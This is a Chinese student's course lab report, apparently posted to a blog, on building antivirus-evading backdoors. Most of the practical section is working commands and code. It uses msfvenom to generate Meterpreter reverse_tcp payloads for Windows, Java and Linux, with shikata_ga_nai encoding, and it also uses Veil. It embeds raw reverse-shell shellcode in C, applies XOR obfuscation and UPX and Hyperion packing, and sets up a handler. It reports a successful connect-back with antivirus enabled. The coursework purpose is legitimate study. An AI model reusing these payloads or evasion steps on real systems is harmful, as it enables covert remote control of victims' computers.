20222305 2024-2025-1 《网络与系统攻防技术》实验三实验报告

网络攻防实验报告

姓名:田青

学号:20222305

实验日期:2024/10/18 — 2024/10/31

实验名称:后门原理与实践

指导教师:王志强


1.实验内容

本周学习内容总结:

1.用户态(ring 3)和内核态(ring 0),切换时机:系统调用、中断、异常。
2.自启动技术。
3.进程隐藏技术实现:1>改名2>基于系统服务的伪装3>基于API HOOK的伪装。
4.杀毒软件的杀毒依据:基于特征码、基于行为、启发式检测、云检测。
5.免杀:Anti-AntiVirus,译为“反杀毒技术”,也是渗透测试中需要使用到的技术。
6.免杀技术:1>修改特征码2>修改校验和3>花指令免杀4>加壳免杀5>内存免杀

2.实验过程

2.1实验要求

掌握免杀原理与技术
回答问题

(1)杀软是如何检测出恶意代码的?
基于特征码、基于行为、启发式检测、云检测。虚拟化和沙盒:一些杀软会在虚拟环境中运行可疑程序,以观察其行为,从而确定其是否恶意。机器学习:通过训练模型分析文件特征和行为模式,以提高对恶意软件的检测能力。
(2)免杀是做什么?
“免杀”是一种针对杀毒软件和安全防护措施的技术手段即通过特定的技术手段,使得某个恶意程序在被杀毒软件扫描时不被检测为恶意,主要用于躲避或绕过这些软件的检测和拦截。
(3)免杀的基本方法有哪些?
1>修改特征码2>修改校验和3>花指令免杀4>加壳免杀5>内存免杀6>代码混淆和加密7>代码注入8>使用合法的API9>分片传播10>利用系统漏洞

2.2实验过程

2.2.1任务一正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

2.2.1.1掌握msf编码器对后门程序进行编码
2.2.1.2查看支持的输出格式
指令msfvenom --list formats
image

image
2.2.1.3生成后门程序
指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.x.x LPORT=2305 -f exe > 20222305tq.exe
当然要想确定LHOST要先ifconfig
KALI IP
image
现在输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.14 LPORT=2305 -f exe > 20222305tq.exe
image
查看支持的编码方式
指令msfvenom --list encoders
image
好了现在我们选择一种编码方式,可以进行生成编码的后门程序了。
指令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.31.14 LPORT=2305 -f exe > 20222305-2tq.exe
image
编译一次不太靠谱,咱生成十一次编码的后门程序
指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 11 -b '\x00' LHOST=192.168.31.14 LPORT=2305 -f exe > 20222305tq-3.exe
image
回看下实验二的代码效果
image
woc一模一祥,这就是最简单的后门程序不管编码几次都很差!
2.2.1.4让我们试试jar文件和elf文件吧!
生成jar文件
指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.31.14 LPORT=2305 -f jar > 20222305tq-4.jar
image
看看效果
image
好一点了,再来看看编码十一次效果
先编码指令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.31.14 LPORT=2305 -e x86/shikata_ga_nai -i 11 -f jar > 20222305tq-5.jar
上截图
image
生成elf文件
指令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.14 LPORT=2305 -f elf > 20222305tq-6.elf
看看效果
image

编码十一次
先来指令
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.14 LPORT=2305 -e x86/shikata_ga_nai -i 11 -f elf > 20222305tq-7.elf
image
再看看这个最厉害的
image
好了这程序越来越厉害了
合个照吧,上传集体照
image
2.2.1.5到了最最最麻烦的时候,下载veil。
这次我站在了巨人的肩膀上,提前去扩展kali的内存。(不会的同学可以参照参考资料,问题分析里也会提到)
输入指令流

点击查看代码
mkdir -p ~/.cache/wine

cd ~/.cache/wine

wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi

wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

sudo apt-get install libncurses5*

sudo apt-get install libavutil55*

sudo apt-get install gcc-mingw-w64*

sudo apt-get install wine32
下载图中截图

image
巨人再一次发挥了作用
这里会报错
输入指令dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install wine32
还没结束哦
指令apt-get install veil
cd /usr/share/veil/config/
vim setup.sh
image
打开文件后将第260行的下载地址改为https://gitee.com/spears/VeilDependencies.git
注意:一定不要复制粘贴,最好手打改,不然一卡一卡心态炸了,还会忘记截图!!!
输入veil一路下载程序,像wine、pywin32-220......

image
当然下载图中会遇到许多问题
image
初次见面,我只输入了./Veil.py --setup,只因我的失误,当我又下了40min我们重逢,甚是讨厌。

image
指令
sudo /usr/share/veil/config/setup.sh --force --silent秒了。
千辛万苦veil你终于下好了
image
2.2.1.6veil的使用
先进到veil-Evasion
指令use evasion
image
查看能用的payload类型
指令list
image
通过use 7使用第七个c/meterpretermrev_tcp.py
image
接下来生成veil文件20222305veil.exe
image
指令
set LHOST 192.168.31.14(虚拟机的ip)
set LPORT 2305
generate
20222305veil
查看生成的文件指令
cd /var/lib/veil/output/compiled/
ls
image
image
检测20222305veil.exe

image
2.2.1.7C+shellcode编程
先生成一段payload
指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.14 LPORT=2305 -f c
编写C语言文件20222305ttq.c并把生成的buf[]数组放入文件中
image
输入ls发现文件确实存在
image
将该C语言文件编译为可执行文件
指令
i686-w64-mingw32-g++ 20222305ttq.c -o 20222305ttq.exe
上传到主机观察检测情况
image
采用upx压缩加壳
指令upx 20222305ttq.exe -o upx20222305ttq.exe
image
采用hyperion加壳
指令
wine hyperion.exe -v upx20222305ttq.exe hyperion20222305ttq.exe
image
检查文件是否存在:

image
上传加壳文件至主机
image
在virustotal中对upx20222305ttq.exe检测
image
在virustotal中对hyperion20222305ttq.exe检测
image

2.2.2任务二 通过组合应用各种技术实现恶意代码免杀

2.2.2.1采用C+shellcode+异或+压缩壳的方法
2.2.2.2生成一段shellcode
指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.14 LPORT=2305 -f c和之前一样,其实直接拿前面的就行。
将其在codeblock中逐位异或

点击查看代码
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28"
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x8b"
"\x58\x20\x01\xd3\x50\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x1f\x0e\x68\x02\x00"
"\x09\x01\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";

int main()
{
    for(int i=0 ;i<sizeof(buf);i++)
    {
        buf[i]^= 0x01;
        printf("\\x%x",buf[i]);
    }
}

image

运行后会得到下面结果

image
将运行结果粘贴到即将新建的top20222305.c文件中。
创建指令
touch top2022305.c
vim top2022305.c
此时注意!代码改变为

点击查看代码
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28"
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x8b"
"\x58\x20\x01\xd3\x50\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x1f\x0e\x68\x02\x00"
"\x09\x01\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";

int main()
{
    for(int i=0 ;i<sizeof(buf);i++)
    {
        buf[i]^= 0x01;
    }
}
int (*func)()=(int(*)())buf;
func();
之后编译.c文件 指令 `i686-w64-mingw32-g++ top20222305.c -o top20222305.exe`

image
再给其加一层压缩壳
指令
upx top20222305.exe -o top20222305.exe
不错虽然没有elf文件厉害。
image
打开联想管家看看会不会被检测出来。

image

2.2.3任务三用电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

在kali中输入下列指令和实验二一样
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.31.14
set LPORT 2305
exploit
run
回连成功。
image
电脑的杀软名称与版本:联想管家5.1.80.9023

3.问题及解决方案

  • 问题1:kali的内存太小不支持下载veil。
  • 问题1解决方案:kali的根目录磁盘扩容
    先在虚拟机设置里划80G给kali
    image
    在kali里面先删完sd5和sd2再去新建。
    image
  • 问题2:下载运行到指令sudo apt-get install wine32
  • 问题2解决方案:直接dpkg --add-architecture i386、sudo apt-get update、sudo apt-get install wine32秒了。

4.学习感悟、思考等

在本次实验中,我又使用了MSF编码器、也利用了Veil框架、C语言、加壳软件等。使我对工具有了跟深刻的理解,也锻炼了我在实验过程中的耐心和沉稳。
不得不说实验过程最难熬的就是veil的下载阶段,我得出结论:“做事一定不能急,越稳住越能成事。”当然通过这次实验,我学习了免杀技术,了解如何识别和响应潜在的安全威胁。知道了电脑自身防火墙和实时病毒检测对防病毒的重要性。
这次实验我也知道了,站在巨人肩膀的作用。多在网上搜索相关资料,多和同学老师交流沟通,会让我做起实验来更加的得心应手,不会卡在一个地方很久很久,既浪费了时间又没有把实验做完。多问多请教!!!

参考资料

posted on 2024-10-24 15:21  20222305田青  阅读(12)  评论(0编辑  收藏  举报